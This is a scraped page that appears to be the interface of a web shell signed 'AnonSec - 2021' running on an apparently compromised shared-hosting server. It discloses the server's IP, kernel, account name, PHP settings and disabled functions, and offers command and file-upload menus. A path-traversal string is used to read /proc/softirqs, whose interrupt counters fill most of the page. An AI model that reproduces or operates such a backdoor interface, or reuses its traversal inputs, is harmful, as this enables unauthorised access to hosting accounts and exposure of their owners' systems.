Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.216.50
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../../etc/pki/java/../java/../java/../java/../java/../java/../../cloud/../../sys/../proc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../../etc/pki/java/../java/../java/../java/../java/../java/../../cloud/../../sys/../proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          1          0          0          0          0          0          1          0          0          0
       TIMER:   17171854   46707642   27357846   38290269   25857525   39370285   31317907   20251251   26855720   23273603   25366581   24889200  109678903   15299116   34968555   25151663
      NET_TX:          5          7          5         10          2          7          2         11          7          6          5         17          2          0          5          1
      NET_RX:   27643748   70685122   40570319   98810214   36329580  124571066   34833314   33416884   52630354   58829821   50691283   37119222   53450653   26805304  106190702  114423852
       BLOCK:    1274460    2159402    1972100    1574832    1311318    1337120    1340263    1262412    1419693    1197666    1068508    1281237    1240092    1271191    1420394    1550416
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    5488328   13651378    4084642   25012416    7967051   31537277    8314170    6802960   11759690    7804445   15993829    9395472   15258453    4430334   24593270    4296380
       SCHED:   43488595   21117316   13911781   17656308   11546397   19881247   11888100   10144404   12906982   13349025   10831389   13523154   23173098    9139260   17359778   22613636
     HRTIMER:       2058       5321       3641       9169       2230      15087       1655       2579       4921       2690       5652       4240       7073       1398       9213       1367
         RCU:   42681212   77716848   54810856   90163692   52293947  108783459   53248560   46012014   60477218   73788969   47179705   48581556   98918842   41457900   97982338  147970768

AnonSec - 2021